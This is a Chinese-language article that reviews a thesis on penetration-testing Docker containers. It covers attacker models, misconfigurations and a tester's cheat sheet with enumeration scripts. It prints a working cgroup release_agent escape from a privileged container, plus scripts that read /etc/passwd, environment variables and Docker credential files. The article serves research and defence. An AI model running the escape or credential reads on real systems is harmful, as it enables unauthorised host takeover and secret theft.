针对容器的渗透测试方法

【云原生攻防研究】针对容器的渗透测试方法
目前「云原生」生态正在迅速发展壮大,而专门针对云原生环境基石——容器的渗透测试进行介绍的系统化资料并不丰富,笔者在此以导读形式向大家推荐一篇论文,希望能够引发更多的思考。

相关阅读:绿盟科技技术内刊-第45期

简介

近期笔者在进行相关调研时,读到一篇总结容器环境下渗透测试方法的2020年毕业论文[1],作者是Joren Vrancken,就读于荷兰奈梅亨大学计算机科学专业。

该论文创新点不多,但实践性强。考虑到目前「云原生」生态正在迅速发展壮大,而专门针对云原生环境基石——容器的渗透测试进行介绍的系统化资料并不丰富,笔者在此以导读形式向大家推荐这篇论文,希望能够引发更多的思考。

攻击者模型

作者从渗透测试工程师的角度分析了Docker系统可能面临的安全问题,引入两个攻击者模型:「容器逃逸」和「针对Docker守护进程的攻击」,分别对应位于容器内部的攻击者和位于运行了Docker守护进程的宿主机上的攻击者。

其中,容器逃逸包括容器内进程影响到宿主机或其他容器两种情况,示意图如下:

针对Docker守护进程的攻击则指宿主机上低权限攻击者借助Docker守护进程获取到敏感数据或更高权限,示意图如下:

事实上,这两种模型较为简单,不能完全概括容器环境涉及到的安全问题。相比之下,Sari Sultan等人提出的攻击者模型[3]则更加完整,他们对整个容器环境的潜在攻击面和攻击对象进行梳理,抽象出四类威胁,大家可以对照了解一下:

安全问题

接着,作者从「错误配置」和「安全漏洞」两个角度对上述两个场景中的安全问题进行了梳理。为方便理解,笔者将这部分内容组织为思维导图形式,具体如下:

可以看到,其中错误配置比安全漏洞多出不少。其中,早期CAP_DAC_READ_SEARCH权限的存在导致了当时非常有名的容器逃逸工具shocker[4]的产生。

作者认为渗透测试时应该更关注错误配置,因为安全漏洞更容易被用户修复。

另外,Linux用户手册给出了Capabilities的详细解释[5],其中包含对CAP_DAC_READ_SEARCHCAP_SYS_ADMIN等权限的详细解释;在Black Hat 2017会议上,研究人员给出了一种使用Host Rebinding方法绕过同源策略攻击Windows平台本地监听的Docker TCP端口从而实现远程控制的攻击方式[6];在KCon 2019会议上,研究人员介绍了针对Docker容器网络的ARP欺骗攻击[7]。

最后,上述安全问题中有不少与「容器逃逸」相关,绿盟科技研究通讯曾发布过一篇【云原生攻防研究】容器逃逸技术概览[8],推荐感兴趣的读者继续阅读。

渗透测试方法

在以上梳理的基础上,作者从手动测试和自动化测试两方面给出了具体的渗透测试方法。为方便理解,笔者将这部分内容组织为思维导图形式,具体如下:

其中值得关注的是:

宿主机内核识别:在没有应用安全容器的情况下,容器和宿主机共享内核,因此,我们可以通过识别宿主机内核版本来判断哪些内核漏洞能够用来实现权限提升或漏洞逃逸;

环境变量读取:环境变量本身是一种常用的宿主机与容器的通信方式。然而,作为容器内的攻击者,他同样获得环境变量中可能存在的敏感信息,从而扩大战果,如借助环境变量设置数据库访问凭证的场景:

特权模式检查:对于容器内的攻击者来说,特权模式几乎就意味着容器逃逸。如下图所示,特权模式意味着容器内进程将具备等同于宿主机上进程的所有权限:

我们在【云原生攻防研究】容器逃逸技术概览[8]介绍了在处于特权模式时如何进行容器逃逸的具体方法。2019年,有研究人员公布了一种新的借助特权模式进行容器逃逸的方法[9],继而有文章[10]对该方法进行了详细剖析,比较有趣,笔者在这里分享一下:

我们首先在宿主机上启动一个特权容器,来模拟攻击场景:

docker run --rm -it --privileged ubuntu bash

然后作为攻击者,在容器内执行:

# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
 
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
 
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

上述命令的实际效果是在宿主机上执行了ps aux命令,其结果被存储在容器内/output文件中。如下图所示,我们的确在容器内部成功读取到了容器外部的进程列表:

该攻击手法实际上利用了Linux cgroup v1的notify_on_release特性,详情可参考文献[11]。在普通容器中,由于不具有SYS_ADMIN权限,以及AppArmor的限制,这种攻击无法成功。因此,特权模式是危险的。

我们不再对思维导图上的每一种攻击方式进行展开介绍,其中许多攻击本身就是传统主机攻防常用的技术。感兴趣的读者可以阅读论文深入了解。

最后,经过调研,作者发现当前并没有较为完整全面的自动化容器安全评估工具。换而言之,手工渗透测试还是不可替代的。

渗透测试速查表

最后,也是全文最有价值的部分——作者给出了一份供渗透测试工程师使用的速查表,来辅助进行针对容器环境的渗透测试,其中条目以问题的形式给出,渗透测试工程师可以通过执行测试、回答问题来增加对目标环境的认识。

值得提醒的是,针对容器环境的渗透测试手段往往属于一次完整渗透测试的后渗透阶段,在这个阶段,攻击者借助不断地进行环境探测和侦查来完成对目标环境可能脆弱点的评估,进而对可能的脆弱点加以利用。

首先探测是否为容器环境

问题:/.dockerenv文件是否存在?

操作:执行ls /.dockerenv查看。

问题:/proc/1/cgroup中是否包括/docker字样?

操作:执行grep '/docker' /proc/1/cgroup查看。

问题:当前环境内的进程数是否少于5个?

操作:执行ps aux查看。

问题:PID为1的进程是否是常规init进程(如systemd或init)?

操作:执行ps -p1查看PID为1的进程。

问题:当前环境是否缺少常见库或工具?

操作:执行which xxx来查看常用工具是否存在,例如执行which sudo来查看sudo是否存在。

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

DOCKER_ENV_FILE=/.dockerenv
DOCKER=docker
DOCKER_CGROUP=/proc/1/cgroup

ls -al $DOCKER_ENV_FILE
grep "$DOCKER" $DOCKER_CGROUP
ps aux
ps -p1
which sudo
which apt
which vi
which ping
which ssh

从容器内发起测试

问题:当前用户是?

操作:执行id查看当前用户和用户组。

问题:当前环境中存在哪些用户?

操作:读取/etc/passwd数据,例如cat /etc/passwd

问题:容器操作系统是?

操作:读取/etc/os-release数据,获得操作系统相关信息。

问题:有哪些进程在容器内运行?

操作:执行ps aux查看。

问题:宿主机内核版本是?

操作:执行uname -a查看。

问题:容器内进程具有哪些权限(capabilities)?

操作:执行grep CapEff /proc/self/status获得权限值,在其他系统上执行capsh --decode=value将前面获得的值解析为具体权限。例如:

问题:当前容器是否运行在特权模式?

操作:如果上一步中得到的权限值为0000003fffffffff,那么容器就运行在特权模式,我们就能够进行容器逃逸。

问题:容器挂载了哪些卷?

操作:读取/proc/mounts数据,查看卷挂载情况。

问题:环境变量中是否存储了敏感信息?

操作:执行env命令,列举所有环境变量。

问题:容器内是否挂载了Docker Socket?

操作:检查/proc/mounts是否包含docker.sock或类似文件。通常/run/docker.sock/var/run/docker.sock会是挂载点。如果发现挂载,我们就能够进行容器逃逸。

问题:哪些主机是当前环境下网络可达的?

操作:有条件的话应该使用nmap探测。还可以先读取/etc/hosts查看容器的IP地址。例如:

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

id
cat /etc/passwd
cat /etc/os-release
ps aux
uname -a
grep CapEff /proc/self/status
CAP=`grep CapEff /proc/self/status | cut  -f 2`
if [ "$CAP" = "0000003fffffffff" ]; then
	echo -e "Container is privileged."
else
	echo -e "Container is not privileged."
fi
cat /proc/mounts
env
cat /proc/mounts | grep docker.sock
cat /etc/hosts

从运行Docker守护进程的宿主机上发起测试

问题:Docker版本是多少?

操作:执行docker --version查看。我们可以据此判断一些已知漏洞是否存在。

问题:哪些CIS条目没有被正确地配置?

操作:运行Docker Bench for Security项目[2]来快速发现安全缺陷。笔者在本地环境下的部分测试结果如下图所示:

问题:哪些用户被允许与Docker Socket交互?

操作:执行ls -l /var/run/docker.sock来查看/var/run/docker.sock所属用户和用户组,以及哪些用户对其有读写权限。

问题:哪些用户在docker用户组中?

操作:执行grep docker /etc/group查看。

问题:Docker客户端工具是否设置了setuid标志位?

操作:执行ls -l $(which docker)查看。

问题:当前宿主机上有哪些可用镜像?

操作:执行docker images -a查看。

问题:当前宿主机上有哪些容器?

操作:执行docker ps -a查看。

问题:Docker守护进程是如何启动的(带了哪些参数)?

操作:读取配置文件,例如/usr/lib/systemd/system/docker.service/etc/docker/daemon.json来查看。

问题:当前宿主机上是否存在一些docker-compose.yaml文件?

操作:执行find / -name "docker-compose.*"查看。

问题:当前宿主机上是否存在.docker/config.json文件?

操作:执行cat /home/*/.docker/config.json来读取任何可能存在的.docker/config.json文件。

问题:iptables规则集是否同时为宿主机和容器设置?

操作:执行iptables -vnLiptables -t filter -vnL查看。

针对以上问题,笔者整理出一份自动化测试脚本如下:

#!/bin/bash

ls -l /var/run/docker.sock
grep docker /etc/group
ls -l $(which docker)
docker images -a
docker ps -a
cat /usr/lib/systemd/system/docker.service
cat /etc/systemd/system/docker.service
cat /etc/docker/daemon.json
find / -name "docker-compose.*"
cat /home/*/.docker/config.json
iptables -t filter -vnL

总结

本篇论文尝试给出一个可行的针对容器环境的渗透测试流程。

作者提出的「错误配置可能比安全漏洞更容易存在」的观点是我们在实践中经常有的体会。例如,渗透测试过程中常常涉及到权限提升。有时候,勤快的管理员会第一时间对系统打补丁,消除安全漏洞;又或者,针对具体系统环境计算好偏移量编写出一个能用的Exploit过于复杂。与此形成鲜明对比的是,只要能够在系统中找到一处权限配置不当的地方,就能够使用非常简洁的手段完成权限提升。那么这一点从防守视角来看,就是说错误配置更难于完全消除,尤其是在各种机制错综复杂的系统中。

笔者在开篇提到,当前的容器安全攻防资料更多是碎片化的,缺乏系统性的资料积累,这一点与容器以及云原生相关技术的飞速发展并不相适应。这篇论文提供了一个不错的视角和范例,尽管它在技术深度和广度上都还有很大提升空间。

结合经验可以发现,针对容器环境的渗透测试既存在与传统环境下的渗透测试相一致的地方,又存在明显不同的地方。相同之处在于:向上,承载的应用并没有发生变化,因此应用层攻防还是原来的积累;向下,容器作为进程运行在传统操作系统上,权限控制和文件系统等也几乎没有变化,因此系统攻防原来的积累依然有效。不同点在于,容器这种轻量虚拟化所依赖的隔离特性,以及诸多为增强隔离特性新施加的安全机制。然而与此同时,这种隔离有时并没有想象中那么牢固,容易被打破,这些现状同时给攻防两端带来了新的机遇和挑战。

无论是系统化分析研究也好,黑白灰盒测试也罢,我们希望能够让云计算世界变得更加安全——在越来越多的重要生产业务被放在容器云端之前。

参考文献

  1. A Methodology for Penetration Testing Docker Systems
  2. Github: docker/docker-bench-security
  3. Containers’ Security: Issues, Challenges, and Road Ahead
  4. shocker: docker PoC VMM-container breakout
  5. Linux Programmer's Manual: capabilities
  6. Well, That Escalated Quickly! How Abusing Docker API Led to Remote Code Execution, Same Origin Bypass and Persistence in The Hypervisor via Shadow Containers
  7. 针对 Docker 容器网络的 ARP 欺骗与中间人攻击
  8. 【云原生攻防研究】容器逃逸技术概览
  9. Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release agent feature.
  10. Understanding Docker container escapes
  11. CGROUPS

Per Aspera Ad Astra